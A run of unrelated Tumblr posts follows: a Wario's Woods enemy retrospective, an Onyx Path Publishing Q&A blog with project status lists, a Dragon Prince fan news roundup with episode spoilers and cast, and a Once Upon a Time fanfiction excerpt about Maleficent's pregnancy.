Carlton sure is a knight, I guess. Or maybe a sentient suit of armor. That would be more interesting. Either way, he may be the least interesting character here. But that’s okay! Because next up is the penultimate opponent! What could possibly be even more imposing than an iron-clad warrior? Tremble in fear before...

Harry H

Harry the Hare! Yup, the final opponent before Wario himself is a smartly-dressed hare named Harry. You might expect that he’s well-mannered, too, and he even refers to Toad as a “woodlands hero”! I think he’s probably quite a nice fellow who’s really here to make sure Toad is ready for the final battle. Don’t you just love Harry Hare? I do!

...and then there’s Wario! We’ve talked about him in depth, though, so there’s not much to say here.

With that... I guess we’re done with Wario’s Woods... I don’t want it to end! I want more funny creatures running around and stacking smaller funny creatures! Please, Nintendo... acknowledge this game... make weird Wario games again...

But let’s not end on a sad note. Which one is your favorite, besides Wario, of course? Vote now!

https://strawpoll.com/3re4411p

#wario's woods #mario #mario enemies #mod chikako

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theonyxpath · 5 years

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More Q&A – because YOU requested it! Well, maybe not you personally, but we sure did get a great response to last week’s blog…So We’re Doin’ It Again!

“But seriously, why is International shipping so high on the KSs?”

What backers are seeing from us on the Kickstarter pages are the shipping numbers we have received from our fulfillment partners, and no, they aren’t inflating them and we aren’t inflating them – those are what we are hearing from shippers like Fedex and USPS and others.

The fact is: we are not Amazon. We aren’t C’Mon Games or other companies that send out a massive volume of packages. We’re in the same boat as a lot of TTRPG companies, many of whom are dropping international shipping entirely. Instead, we made the call to give our backers the up-front info so they can make intelligent decisions, while we continue to search for less costly shipping options.

“Why aren’t all Storypath Games the same?”

I’m assuming that this is in reference to the Storypath System, and not the settings for each game line that uses it. Because that’s the only way the question makes sense to me.

One of my goals with the Storypath System was that it be flexible enough to work as the basis for any game we care to create with it, and part of that design was that the basic system would then have additional rules attached to it depending on the game line’s needs.

Or, here is more from Eddy Webb, who has been overseeing the Storypath games, as well as doing design work on the system. He sez:

Each game takes the core system and tweaks it in a variety of ways to better emphasize what’s important in that game. A game about myths like Scion doesn’t need comprehensive weapon mechanics, but a game about salvaging equipment like Dystopia Rising does.

Basically, Storypath was never intended to be exactly the same with every line that uses it, like a generic system, but to allow a base level of familiarity so players just need to look into specific, game line intrinsic, additional rules.

“Why won’t you publish all the Clan/Tribe/Tradition/etc books again?”

OK, that’s a multi-part answer, so let me unpack a bit on this one.

First, and very specifically, we aren’t recreating the “Splat books” as we do new editions because those lil’ books aren’t cost-effective to create with our current publishing model. We do however, love to gather the “splats” into larger books like we’ve already done with Lore of the Clans, or Lore of the Bloodlines.

Which brings us to the second part of this, which is what I touched on in last week’s blog, which is that we don’t have carte-blanche to create just any WoD (or CofD or Exalted) books that we want to create. We have to have their pitches approved by our licensor, White Wolf/Paradox, before we can do any work at all on projects.

So what I’m saying is that we wouldn’t just recreate the old splat books, but we would do a differently formatted version, and that version still needs to be greenlit by our licensor. And right now, that has not happened.

Aeon Aexpansion art by Pat McEvoy

“Why are there approvals stages for Scion or Scarred Lands- don’t you own those?”

The business productivity answer is that we try and keep our processes the same in game book creation to make them go through the stages consistently.

The RichT answer is that I want to be able to review, tweak, and fine-tune the game lines my company owns. I mean, I do it with our licensed game lines, so by crackee, I’m doing with my own durn games!

“What stores carry your books?”

Y’know, I don’t actually know all of them at this point! What we hear from our sales partners at Studio2 and Indie Press Revolution, is that more and more stores are ordering as they become aware that we are putting select books into the distribution/retail channel.

So the notices I see are focused on which distributors have ordered what, although I do still get a chance to chat with retailers who pledge during our Kickstarters. Some of those folks have been with us since our first KSs, like our friends at Trollune in France, and more come on board with each KS.

Mighty Matt McElroy is a lot more hands-on with stores and retailers, and maybe we’re at the point where he’d be willing to pull together some sort of Retailer list we could post on this site. I will ask him very, very, nicely if such a thing could be added to his already massive workload.

But be sure that we truly appreciate each and every order from retailers that our sales partners receive. A Friendly Local Game Store is one of the best places to learn about all sort of games, new and old, and we’re glad we were able to figure out a way to once again get books into those shelves!

And if your FLGS doesn’t yet know that they can order books from their favorite distributor like Changeling: The Lost 2nd Edition, or Scion: Origin and Scion: Hero, or Pugmire and Monarchies of Mau and others, with even more yet to come like V5 Chicago By Night and the Trinity Continuum books, then please, let them know, let us know, let the world know, that you want them to order our books for you!

Witch Queen art by Nate Pride

“What are YOU excited about that’s coming from Onyx Path?”

Scion: Demigod and Titanomancy to continue the core Scion mythological experience, and Dragon and Mythos to show how Scion has potential beyond that experience. Trinity Continuum: similarly, very excited to bring back Aeon and Aberrant as lines and especially to revisit Adventure! and deliver an exciting game that emulates all the Pulp Genre excitement that I’ve loved during countless hours reading Doc Savage and The Avenger, but in a way that’s compelling for a modern audience. Then, to finally expand from the three original game lines to other time periods and genres with new games that we’re working on but haven’t announced yet.

Legendlore is another game line I’m really looking forward to. In fact, I think the developed text should be coming my way later this week, or next week, and I can’t want to see what Steffie De Vaan and team have done to take this long-established world and bring it up-to-date and relevant like I mentioned about TC: Adventure!

White Wolf gamelines: For CofD, I’m champing at the bit to start sharing Deviant: The Renegades during its Kickstarter. I’ve loved the concept of the wronged seeking revenge for what was done to them since the project was conceptualized, and Dave and Eric and crew have really delivered on that premise, and more! It’s gut-wrenching, horrific, but also empowering!

For Exalted 3rd, I’m really glad we’re finally doing the Storyteller’s Guide, which combined with another book we’re waiting to hear back on from WW, will provide players and prospective Storytellers with a lot of answers and material that fill in some of the blanks in the core EX3 rulebook. Hopefully, these sections will allow even more players to “get” Exalted 3rd, and so they’ll all want to GET Exalted 3rd!

And, of course, I really can’t expand on much for WoD without the OK from WW/Paradox, but we’ve been so thrilled by the reaction to the V5 Chicago By Night Backer PDF that I’m really looking forward to the next WoD projects from Matthew Dawkins, as well as finally delivering our outstanding 20th Anniversary projects!

Distant Worlds art by Rutledge

They Came From…!: Speaking of Matthew, he is gravely hard at work digging into new sources of fun and inspiration for the follow-up They Came From game, and I’m such a fan of the whole genre/time period it covers that I can’t wait to read it!

Creature Collection 5e: for Scarred Lands looks to be gorgeous! I’m both jealous that Johnny Hodgson was able to pull together so many fantastic artists, and thrilled that our efforts with his Handiworks Games is producing such a fantastic book. Look for its KS soon!

These aren’t advertising blurbs here folks! I truly am excited to be able to bring all of these game lines to life, and to be part of bringing them to all of you – as well as those poor misguided souls who don’t yet read this scintillating blog, or know of our:

Many Worlds, One Path!

BLURBS!

Kickstarter!

Keep an eye out in this space as well as on our social media for the Deviant: The Renegades Kickstarter that will be launching after August wraps up!

Onyx Path Media!

This Friday’s Onyx Pathcast features an interview with one of the unsung new talents of Onyx Path and one of the nicest people working in the TTRPG industry: Meredith Gerber! Go to https://onyxpathcast.podbean.com/ or to your favorite podcast venue!

No Onyx Path News this week, with Matthew having been away at Tabletop Scotland! But here’s a nice photo of his group at that convention enjoying a session of They Came from Beneath the Sea!

Here’s our upcoming Twitch schedule, and as you can see, it’s getting very full of content! Between Travis Legge’s Myths & Matchmakers for Scarred Lands, Near Dark Studios‘ Chicago by Night, our very own Pugmire: Paws and Claws and Aberrant: Collateral Damage, and more, we think you’ll find something to entertain you! Even if you don’t, we’d very much appreciate a follow on www.twitch.tv/theonyxpath!

Outside our Twitch channel, the Botch Pit have started up a new chronicle for Geist: The Sin-Eaters 2nd Edition! And if you’re not into actual plays, they also do breakdowns of lots of our other games: https://www.youtube.com/channel/UCQfcGvYILEV1vznP5__bOWg

Did you check out the www.gamerstable.com for their actual play of A Slippery Conspiracy? No? Well, now’s the time to catch up and give their actual play of They Came from Beneath the Sea! a listen!

Devil’s Luck Gaming continues with Pirates of Bloodwater for Scarred Lands right here: https://www.twitch.tv/DevilsLuckGaming Also check them out for an excellent Shadowrun actual play they’ve started. We know it’s not our game, but we’re happy to promote such a fine cast of players.

If you’re a fan of Scion, check out https://ragnarokandroll.podbean.com/, a podcast that tracks all the way from first edition Scion: Hero to Scion: Ragnarok, but is now looking into the second edition of the game!

We’re going through Wraith: The Oblivion character creation over on our YouTube channel here: https://youtu.be/jflNxrN3i6o And part two will be uploaded this week!

Drop Matthew a message via the contact button on matthewdawkins.com if you have actual plays, reviews, or game overviews you want us to profile on the blog!

Please check any of these out and let us know if you find or produce any actual plays of our games!

Electronic Gaming!

As we find ways to enable our community to more easily play our games, the Onyx Dice Rolling App is live! Our dev team has been doing updates since we launched based on the excellent use-case comments by our community, and this thing is awesome! (Seriously, you need to roll 100 dice for Exalted? This app has you covered.)

On Amazon and Barnes & Noble!

You can now read our fiction from the comfort and convenience of your Kindle (from Amazon) and Nook (from Barnes & Noble).

If you enjoy these or any other of our books, please help us by writing reviews on the site of the sales venue from which you bought it. Reviews really, really help us get folks interested in our amazing fiction!

Our selection includes these fiction books:

Our Sales Partners!

We’re working with Studio2 to get Pugmire and Monarchies of Mau out into stores, as well as to individuals through their online store. You can pick up the traditionally printed main book, the screen, and the official Pugmire dice through our friends there! https://studio2publishing.com/search?q=pugmire

We’ve added Prince’s Gambit to our Studio2 catalog: https://studio2publishing.com/products/prince-s-gambit-card-game

Now, we’ve added Changeling: The Lost 2nd Edition products to Studio2‘s store! See them here: https://studio2publishing.com/collections/all-products/changeling-the-lost

Scarred Lands (Pathfinder) books are also on sale at Studio2, and they have the 5e version, supplements, and dice as well!: https://studio2publishing.com/collections/scarred-lands

Scion 2e books and other products are available now at Studio2: https://studio2publishing.com/blogs/new-releases/scion-second-edition-book-one-origin-now-available-at-your-local-retailer-or-online

Looking for our Deluxe or Prestige Edition books? Try this link! http://www.indiepressrevolution.com/xcart/Onyx-Path-Publishing/

And you can order Pugmire, Monarchies of Mau, Cavaliers of Mars, and Changeling: The Lost 2e at the same link! And NOW Scion Origin and Scion Hero are available to order!

As always, you can find most of Onyx Path’s titles at DriveThruRPG.com!

On Sale This Week!

This Wednesday, we’re offering our monthly Exalted 3rd Edition PDF for Hundred Devils Night Parade!

Conventions!

Save Against Fear: October 12th – 14th GameHoleCon: October 31st – November 3rd PAX Unplugged: December 6th – 8th 2020: Midwinter: January 9th – 12th

And now, the new project status updates!

DEVELOPMENT STATUS FROM EDDY WEBB (projects in bold have changed status since last week):

First Draft (The first phase of a project that is about the work being done by writers, not dev prep)

M20 Victorian Mage (Mage: the Ascension 20th Anniversary Edition)

Exalted Essay Collection (Exalted)

Dragon-Blooded Novella #2 (Exalted 3rd Edition)

Exigents (Exalted 3rd Edition)

Many-Faced Strangers – Lunars Companion (Exalted 3rd Edition)

Contagion Chronicle: Global Outbreaks (Chronicles of Darkness)

Player’s Guide to the Contagion Chronicle (Chronicles of Darkness)

Contagion Chronicle Jumpstart (Chronicles of Darkness)

N!ternational Wrestling Entertainment (Trinity Continuum: Aberrant)

Creating in the Realms of Pugmire (Realms of Pugmire)

Redlines

Tales of Aquatic Terror (They Came From Beneath the Sea!)

Kith and Kin (Changeling: The Lost 2e)

Wraith20 Fiction Anthology (Wraith: The Oblivion 20th Anniversary Edition)

Crucible of Legends (Exalted 3rd Edition)

Lunars Novella (Rosenberg) (Exalted 3rd Edition)

Yugman’s Guide to Ghelspad (Scarred Lands)

Vigil Watch (Scarred Lands)

Pirates of Pugmire KS-Added Adventure (Realms of Pugmire)

Second Draft

Tales of Good Dogs – Pugmire Fiction Anthology (Pugmire)

Dragon-Blooded Novella #1 (Exalted 3rd Edition)

Across the Eight Directions (Exalted 3rd Edition)

One Foot in the Grave Jumpstart (Geist: The Sin-Eaters 2e)

Scion: Demigod (Scion 2nd Edition)

Titanomachy (Scion 2nd Edition)

Trinity Continuum Jumpstart (Trinity Continuum Core)

Terra Firma (Trinity Continuum: Aeon)

Monsters of the Deep (They Came From Beneath the Sea!)

Development

M20 The Technocracy Reloaded (Mage: the Ascension 20th Anniversary Edition)

Creatures of the World Bestiary (Scion 2nd Edition)

Heirs to the Shogunate (Exalted 3rd Edition)

Scion Companion: Mysteries of the World (Scion 2nd Edition)

Legendlore core book (Legendlore)

City of the Towered Tombs (Cavaliers of Mars)

TC: Aeon Jumpstart (Trinity Continuum: Aeon)

Mummy: The Curse 2nd Edition core rulebook (Mummy: The Curse 2nd Edition)

Masks of the Mythos (Scion 2nd Edition)

Scion: Dragon (Scion 2nd Edition)

TC: Aberrant Reference Screen (Trinity Continuum: Aberrant)

Manuscript Approval

Creatures of the World Bestiary (Scion 2nd Edition)

Cults of the Blood Gods (Vampire: The Masquerade 5th Edition)

W20 Shattered Dreams Gift Cards (Werewolf: The Apocalypse 20th)

W20 Art Book (Werewolf: The Apocalypse 20th)

Post-Approval Development

Trinity Continuum: Aberrant (Trinity Continuum: Aberrant)

V5 Chicago Screen (Vampire: The Masquerade 5th Edition)

Deviant: The Renegades (Deviant: The Renegades)

Let the Streets Run Red (Vampire: The Masquerade 5th Edition)

WoD Ghost Hunters (World of Darkness)

Scion LARP Rules (Scion)

Geist 2e Fiction Anthology (Geist: The Sin-Eaters 2nd Edition)

Oak, Ash, and Thorn: Changeling: The Lost 2nd Companion (Changeling: The Lost 2nd)

Editing

Night Horrors: Nameless and Accursed (Mage: the Awakening Second Edition)

Lunars: Fangs at the Gate (Exalted 3rd Edition)

TC: Aeon Ready-Made Characters (Trinity Continuum: Aeon)

Hunter: The Vigil 2e core (Hunter: The Vigil 2nd Edition)

Chicago Folio/Dossier (Vampire: The Masquerade 5th Edition)

City of the Towered Tombs (Cavaliers of Mars)

Post-Editing Development

Memento Mori (Geist: The Sin-Eaters 2e Companion)

DR:E Jumpstart (Dystopia Rising: Evolution)

Pirates of Pugmire (Realms of Pugmire)

Indexing

ART DIRECTION FROM MIKE CHANEY!

In Art Direction

Contagion Chronicle

Trinity Continuum: Aberrant

Hunter: The Vigil 2e

Ex3 Lunars – Contracted.

They Came from Beneath the Sea! – Contracted. Sketches still coming in.

TCfBtS!: Heroic Land Dwellers

Night Horrors: Nameless and Accursed

Ex3 Monthly Stuff

DR:E Threat Guide – Helnau’s Guide to Wasteland Beasties – Contracted.

Deviant (KS) – Contracted. LeBlanc’s art already in.

Trinity RMCs – Contracted.

Cults of the Blood God (KS) – Sending out art notes.

Chicago Folio – Art notes going out this week.

Mummy 2 (KS) – Got Matthew’s notes.

In Layout

CoM – Witch Queen of the Shadowed Citadel

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Trinity: In Media Res – PoD proofs coming.

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Shunned By the Moon – PoD proof coming.

Today’s Reason to Celebrate!

On this date in 1346 – Hundred Years’ War: The military supremacy of the English longbow over the French combination of crossbow and armored knights is established at the Battle of Crécy. Thus spawning whole rafts of longbow lovin’ moments in gaming! (Also can be seen as a victory for the common man that will echo through history and turn out even more badly for the French nobility 400-some years later).

#Onyx Path Publishing

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dragonprincefan · 6 years

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Hey Dragon Fans! Let’s do a round up of all the information we’ve gotten so far about The Dragon Prince! This is quite a lot of info, so I’ll be throwing the bulk of it under a cut. (There will be spoilers for episode 1 of the show below the cut.)

The Dragon Prince, developed by Wonderstorm Inc., animated by Bardel Entertainment, and distributed by Netflix will be releasing all the episodes of the first season on September 14, 2018.

The official summary is, “Two human princes forge an unlikely bond with the elven assassin sent to kill them, embarking on an epic quest to bring peace to their warring lands.”

You can watch the promotional trailer here: https://www.youtube.com/watch?v=D7Bf7JLnlOU

Promotional taglines used by the official accounts have been “Destiny is a book you write yourself!” and “dragon big”.

Netflix currently has the show rated as TV-Y7 for Fantasy Violence. The animation is cell-shaded CG, much like what you see in Fire Emblem, Guilty Gear, or Avatar: The Lost Episodes.

The show will have an accompanying video game developed by Wonderstorm* with the story tellers for both show and game working closely together to ensure the stories being told are well integrated and complementary.

Our lead characters for the Netflix series are Callum, the elder human prince, Ezran, the human crown prince, and Rayla, a Moonshadow Elven Assassin.

The universe The Dragon Prince takes place in is divided into two primary areas, Xadia, the magical lands in the East, and the five great human kingdoms in the West. Centuries ago, Thunder the King of Dragons guarded the border between Xadia and the Human Kingdoms.

In the TDP universe, there were originally six types of magic: moon, sun, stars, earth, ocean, and sky. Humans developed a seventh type of magic, Dark Magic. With Dark Magic you find a creature that has that magic as part of their essence, you consume it quickly, and it unleashes a great amount of magic quickly. Dark Magic became a shortcut to great, fast power, but led to corruption and was wielded at the expense of the varied, intelligent, and powerful magical creatures of Xadia. The dragons and the elves allied to try to put a stop to the humans’ use of Dark Magic, but the Dragon King Thunder was killed by humans using dark magic and Thunder’s only egg and heir, The Dragon Prince, was destroyed. Now the world stands on the edge of all out war...

The first episode is titled “Book 1: Moon, Episode 1: Echoes of Thunder” and was premiered at the SDCC 2018 panel. You can read IGN’s review of the episode here.

SPOILERS FOR EPISODE ONE BEGIN HERE

Ezran is scared of thunderstorms and likes to steal treats from the baker with his pet glow toad, Bait. Glow toads are described as “the Grumpy Cat of magical illusionary amphibians.”

Even though Callum is older he is not the crown prince because he is the stepson of the king. This means Callum and Ezran are half brothers. The condition and whereabouts of Callum and Ezran’s mother is reported to be a spoiler. The King is a black man, and it appears that Ezran may be biracial.

One of the royal guards Sorin/Soren/Zoren (spelling unknown) is tasked with training Callum in sword fighting. Callum is disinterested and prefers to draw, unless Soren’s sister, Claudia, is around. Callum appears to have a crush on Claudia, and Soren helps by going easy on him in sparring sessions in front of her. Claudia appears to be very studious and nearly runs into a tree while reading because she is too focused on her book. Claudia and Soren’s father is a highly placed lord and leader of the royal army/guard.

It looks like Callum will be learning to use magic over the course of the show. What type of magic he uses is currently unknown. Based on the trailer I think that may be Claudia also shown using magic. Regardless of her identity, I suspect what the dark haired female magic user in the trailer is using is the Dark Magic we’ve seen discussed.

The elves that Rayla is a member of are called Moonshadow Elves (white haired elves with dark horns) and they literally draw power from the moon. They are at thier strongest during the full moon. The bracelet Rayla wears was acquired during a ceremony swearing loyalty to the Dragon King’s cause/memory(?). Moonshadow Elves demonstrate at minimum some form of cloaking magic, but can still be detected by certain types of animals. Rayla has a Scottish accent.

Rayla is going to be something of a mysterious figure and strongly conflicted about her role in current events, “testing her sense of right and wrong.” She tries to tell herself that “an assassin does not decide right or wrong, only life and death.”*

When the Moonshadow Elves stage an attack on the castle, the King decides to send Callum and Ezran away for thier own safety. Meanwhile, Soren and Claudia are ordered by thier father to stop the assassins. Callum wants to help but is told he cannot because he is only 14 (and 3/4!) years old and he must be 15 to fight.

There was a black-haired guard in the first episode (the one attacked by Rayla) that had not been formally named, but when asked by the panel audience they named him Marcos.

END OF SPOILERS FOR EPISODE ONE

During the Q&A session (I’ve discussed this with several people who were in the room now trying to get clarity) it sounds like the question of if there would be LGBT+ representation in the show was very narrowly sidestepped. They told the panel audience that any sort of answer would be a spoiler. It seems likely that there will be LGBT+ representation, but it has not been explicitly promised, and I urge folk to temper expectations with the knowledge that while it’s wrong to use the TV-Y7 rating as a reason to not show canonically LGBT+ characters, it may end up being outside the Wonderstorm team’s hands to try to get it on screen. I’m cautiously optimistic. We’ll have to wait and see.

The staff did say they are strongly dedicated to creating an inclusive and diverse fantasy universe, with an especial focus on visible ethnic diversity. We can already see the beginning of that with the King and Ezran.

Being on Netflix permits the staff to do a darker take on the story than they might have been permitted on network television, and they’re excited to get to tell a complex and nuanced story that explores moral grays and the idea that there are both good and bad actors in every group and culture. That said, they want this series to be fun, light-hearted, and quirky too.

The SDCC panel gave away two goodies to anyone lucky enough to get into the panel, a large physical poster version of the concept art we first saw with the initial announcement and an enamel pin of Ezran’s pet glow toad, Bait. The backing for the enamel pin announced that Hot Topic will be carrying exclusive merchandise for The Dragon Prince beginning in September 2018.

(A big thank you to elventhespian, owldee, and kohisu for thier live blogs of the SDCC 2018 panel.)

Official TDP social media accounts:

Tumblr - @dragonprinceofficial

Twitter - @thedragonprince

Instagram - https://www.instagram.com/dragonprinceofficial/

Facebook - https://www.facebook.com/dragonprinceofficial

YouTube - https://www.youtube.com/channel/UCPn8cnHhLHMQrGCmS0K5aBQ

TDP CAST AND CREW

The show is being helmed by Aaron Ehasz (Avatar: The Last Airbender, Futurama) and Justin Richmond (Uncharted 2, 3, & 4). Other staff members include:

Executive Producer -- Giancarlo Volpe (Avatar: The Last Airbender, Green Lantern: The Animated Series, Star vs the Forces of Evil)

Composer -- Frederik Wiedmann (Green Lantern: The Animated Series, The Damned, Dying of the Light, various DC animated films)

Executive at Netflix -- Jenna Boyd (Avatar: The Last Airbender)

Animation Directors -- Meruan Salim, Carlyle Wilson

Animation Coordinator -- Tony Power (Teenage Mutant Ninja Turtles)

Lead Animator -- Brian Ahlf (Teenage Mutant Ninja Turtles) , Eric Childs (Teenage Mutant Ninja Turtles), Brian Kavanagh (DinoTrux), Kevin Kyle (The Adventures of Puss in Boots), Jody Prouse (DinoTrux, The Adventures of Puss in Boots)

Other Wonderstorm Staff -- Robert Cogburn, Devon Giehl, Danika Harrod, Iain Hendry, Dan Liebgold, Lauren Topal, Neil Mukhopadhyay, Justin Santistevan, Lulu Younes

Various Animators, Storyboard & Graphic Artists, Directors, etc -- Sabrina Ali, Laura Ambrosiano, Nicki Bianchini, CT Chrysler, Frankie Franco III, Zakiah Grant, Chelsea Gratzlaff, Tim Kaminski, Erica Kim, Nasus Lee, Jessica Mahon, Katie Olson, Daniel Pira, Candice Prince‏, Devin Rosychuk, Alicia Schaeffer, Siggy Sigmond, Eman Thabet

Voice Actor [Callum] -- Jack DeSena (Sokka on Avatar: The Last Airbender)

Voice Actor [Ezran] -- Sasha Rojen (The Flash, iZombie)

Voice Actor [Rayla] -- Paula M. Burrows [@paulamburrows]

Voice Actor [Claudia] -- Racquel Belmonte [@raqattack5 | x] (Sira on Lego Elves)

Voice Actor [Soren] -- Jesse Inocalla [@jinocalla] (The Little Prince, Dead Rising 4)

Voice Actor [King Harrow] -- Luc Roderique [@lucroderique]

Voice Actor [Runaan] -- Jonathan Holmes

Voice Actor -- Rena Anakwe [@DJLadyLane | x] (Sapphire Shores on My Little Pony: Friendship is Magic)

Voice Actor -- Erik Todd Dellums [@ErikToddDellums | x | x] (Koh on Avatar: The Last Airbender)

Voice Actor -- Adrian Petriw [@adrianpetriw | x] (Adam in The Hollow)

Voice Actor -- Jason Simpson [@aboySimpson] (Cyclops on The Hollow)

I’m looking forward to having a fun fan experience with everyone in the months to come!

Fan accounts to watch on twitter: DragonPrinceFan, The Dragon Prince Podcast, and Mundo Avatar (news in Portuguese)

Dedicated fan accounts to watch on tumblr: @dragonprincefan and @tdp-news

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ussjellyfish · 6 years

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dragon queen, 5

one night stand and falling pregnant au

oh nonnie, pregnancy fic is totally my weakness, thank you.

Alice, Robin and Maleficent have a conversation. Kind of fluffy and all found family. (I love Alice, she’s precious).

Dragon Queen and Curious Archer, though it’s mostly just Alice and Mal making friends.

“One of the best things about parties here is buffet gets all mixed up. This bit, with the fish, that’s from Arendelle, and these funny cakes? they’re straight out of Wonderland, minus the magic powers, I think. I hope.” Alice balanced another cake on top of the first and smirked. “Guess we’ll find out.”

“If I end up miniature, put me somewhere outside before the magic wears off, I tend to return to form all wings and scales.”

“Well that’s an idea, a wee little dragon.” Alice chuckled, imagining a palm sized little creature breathing fire. “Cakes unfortunately make you bigger, so we’d have to hope you were in a good mood before the castle got squashed.”

Maleficent raised an eyebrow. “Can’t say I’ve ever been accused of stepping on a castle, burning one, razing…” She raised her hand in a submissive gesture.

Did she have pointed teeth? She couldn’t really have pointed teeth. Maleficent had totally normal teeth. She was human. Human-ish, human right now.

“These cakes aren’t magic, I promise.”

“Then the castle should remain intact.” Maleficent handed Alice a napkin. Such a mom thing, of course, she was a mom, some kind of dragon mom and she did hang out with Regina a lot, which made sense because Regina was totally a mom.

“Champagne?” Alice offered, holding out the flute. “I hear it’s the good stuff.”

Maleficent took the drink and gestured towards the tables. Somehow they’d ended up together: Papa, her Nobin, the dragons, and some lovely dignitaries from the Realm of Untold stories. They seemed to have stepped out of some sort of Eastern European fairy tale and they only talked in Elvish. Robin thought it was maybe Lithuanian, because she’d been through there when she was cursed and backpacking.

As they sat down, Lily looked at her mom, eyes wide. “Mom!” she hissed.

“What?”

“Nothing, nothing at all. Thanks for grabbing me some more champagne.” Lily’s glass was full, but she downed it, guilping it all like cold tea.

Robin’s eyes got big and Papa looked from Maleficent to Lily as if he knew something. Papa was really good at figuring things out. When there were things to figure out, which it seemed like there was. Interesting.

Was this a thing? It was just a diplomatic dinner, something where Regina would give a nice speech and there would be food. Why wasn’t Lily letting her mom drink her champagne?

“Is this sushi?”

“I don’t know what sushi is, dear. It’s a salmon dish from Arendelle, one of my favorites.”

“Which you–” Lily stopped again, learning in. “Really shouldn’t be eating because it’s raw, you know that?”

“I haven’t the slightest idea what you’re talking about.”

“I put the app on your phone, I told you how to use it. Smoked fish isn’t cooked and you really shouldn’t–”

“My phone’s somewhere safe.”

Alice leaned in close to Robin, her lips brushing her cheek. “I bet she’s got it in a cave or something.”

“She doesn’t have a cave.”

“She does, it’s underneath the library, Auntie Regina trapped her there for decades.”

“Well that’s romantic.”

“They’re so not romantic.”

“Uh-huh,” Robin rolled her eyes over her champagne. “Tell her what romantic might look like, Detective.”

“Oh no, I prefer to be left out of this,” Papa said, shaking his head. “Whatever has occured between the Good Queen and the dragon is between them and none of our business.”

Alice raised both her eyebrows. “So something did happen? They got all flirty with fireballs and stuff?”

“We don’t pry into the private affairs of others, Starfish.”

Alice shot a look at Lily and Maleficent, who were still arguing and paying know attention to anyone else. “It’s not exactly private if they’re discussing it in front of us.”

Robin stole a cake from Alice’s plate and shrugged. “Mostly they’re arguing about where Maleficent should keep her phone.”

“You said it was precious,” Maleficent insisted, eating the salmon she wasn’t supposed to eat.

“Phones are expensive,” Lily started, waving down the waiter for more champagne, because she seemed to need it. “But it’s really of no use to you if it’s in your horde somewhere.”

Robin nudged her, whispering, “Told you she was hiding it.”

“Well, they are a little jewel-like, I suppose.”

Maleficent rolled her eyes. “If someone needed me, I’m easily summoned. Any idiot with half a brain and a–”

“Mom, don’t announce how you’re summoned.”

Now that was interesting. You could summon a dragon? “Sorry, pardon me for butting in, you can really be, like, summoned? What’s that like?”

Maleficent stopped arguing with Lily and turned her head, looking right at her all predatory. “It tingles a little.”

“Do you know who summoned you? Is there like, a message?”

“I don’t think it’s like texting,” Robin said, because she knew more about magic.

“It’s not that specific, most of the time.”

“So having a phone would be more useful,” Alice offered, taking out her own and holding it up. “See, here’s Robin telling me to get marmalade at the store yesterday. If she just summoned me, I wouldn’t know I needed to go to the store, just that she wanted me to come home.”

The dragon lady took her phone for a moment, and her smile grew. She twisted her fingers and a fresh jar of marmalade appeared in front of Alice’s plate. “I concede that your messages might be useful, but, so is magic.”

Grabbing the jar, Alice opened it with a grin. Marmalade would go brilliantly on her cake. “All right, you can have a point for that.”

Robin tried to help. “What would you do if you needed someone to know something specific, like…you wanted to tell Lily something. Can you summon her?”

“Nah, she’s not a mythical figure from fairy tales, I don’t think she gets her own summoning spell,” Alice piped up, spreading marmalade on her cake, because why not? It was going to be better with marmalade.

“So what would you do?”

Maleficent set down her fork and dabbed her mouth with her napkin. “Inhabit a reflective substance near her and tell her what I needed to.”

“You could just call me.”

“It’s not my way.”

Lily looked up at the ceiling, as if somehow the great wooden beams could help her. “You lived without magic, you’ve used tools. Phones are a tool. Part of this world, and they’re really helpful. You can learn a lot from having a tiny computer in your pocket.”

Staring at her daughter, Maleficent’s eyes grew soft, almost liquid blue. “Living without magic was a cold, lonely hell.”

“This isn’t without, it’s in addition.” Lily reached for her mother’s hand, wrapping their fingers together.

Alice’s eyes stung a little. Parents and their children got to her way too fast, especially when they were good to each other. She could just hear Nobin teasing her for being soft.

“You get to keep your magic,” Lily continued, “But you get the bonuses of the modern world too. Indoor plumbing, Netflix. Apps that answer all the questions you might have about the weird shit that’s going to happen.”

Robin mouthed “weird shit”? And Alice shrugged, they shouldn’t be listening, but it was really hardly a private conversation, and she was curious, dreadfully so.

“I’m getting more food, just think about it, okay?” Lily stood, touching her mother’s shoulder. “I’m sure you can use magic to make the damn phone fireproof so you don’t have to worry about melting it.”

Standing up a moment after Lily, Papa leaned down and kissed Alice’s forehead. “I’ll talk to her.” That promised, without a word.

That left the three of them and the Elvish half of the table. Alice wasn’t supposed to ask, Robin was going to make that face as soon as she did, but she couldn’t help herself. Not that Maleficent seemed to care about privacy. Maybe she needed a chance to talk about it as much as Lily did.

“So, why can’t you eat raw fish? Is that a dragon thing?”

The sharp pain was Robin kicking her ankle under the table but Alice smiled and ignored it. Robin was too tentative and never found things out.

“In dragon form I ate nearly everything raw, perhaps scorched on the outside. This body is more picky, but no, the restrictions are rules from this world. No drinking, no raw fish, no coffee.”

“Do you like coffee?”

Maleficent tilted her head, like the iguanas did at the zoo when they were about to be fed. “I do, it hadn’t reached the Enchanted Forest yet, though I’d had it in the far south. Here, everything’s so easy.”

“Couldn’t you just magic it up if you wanted to?”

“Never turned out right. Rather like wine. Some things are better if you let them grow and age instead of pulling them from the air.”

“So you must miss it?” Alice started to ask why she couldn’t have it but Robin squeezed her hand, stopping her.

“You can have one cup a day, usually. I mean, you’ll want to talk to someone.”

What did Robin know? How did she have this figured out? What did she know about coffee and dragons and stuff?

“Who would she talk to?” she demanded, looking from her to Maleficent. Both of them ignored her, having some kind of conversation beneath their words.

“That obvious?”

“My mom was a fake midwife, before she became a real one. Kinda heard a lot about everything.” Robin grabbed the coffee pot from the middle of the table and filled the mug in front of Maleficent. “Lily’s not exactly subtle.”

Midwife. Pieces clicked together like she’d finally seen why the chess pieces were where they were. Dragons got pregnant, apparently, and Lily worried about it.

“She’s concerned.”

“She loves you.”

Maleficent took a breath and smiled, really smiled, all bright and happy. “I’m not accustomed to anyone trying to protect me.”

“It’s a little freaky. You’ll have to give her some time to get used to it.”

Yeah, it bloody well would be freaky if your mom got pregnant when you were Lily’s age. Not really unheard of, everyone’s age was all messed up. Papa was young, Queen Regina was apparently at least fifty years older than she looked, so was Zelena, and the Charmings.

“Who’s the father?” Alice asked over her champagne. “Are you excited?”

Robin’s elbow slammed into her ribs.

“Ouch.”

“You can’t just ask that.”

Alice began to protest, but Maleficent’s warm hand settled over hers. “It’s all right. I don’t mind. I haven’t told the father yet. She’s been very busy.”

